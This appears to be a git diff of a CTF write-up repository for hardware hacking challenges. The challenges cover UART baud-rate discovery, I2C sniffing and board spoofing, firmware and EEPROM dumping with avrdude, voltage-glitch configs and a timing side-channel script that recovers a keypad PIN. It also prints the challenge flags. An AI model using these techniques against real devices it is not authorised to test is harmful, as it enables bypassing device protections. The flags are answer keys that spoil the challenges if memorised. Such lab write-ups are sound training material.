+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
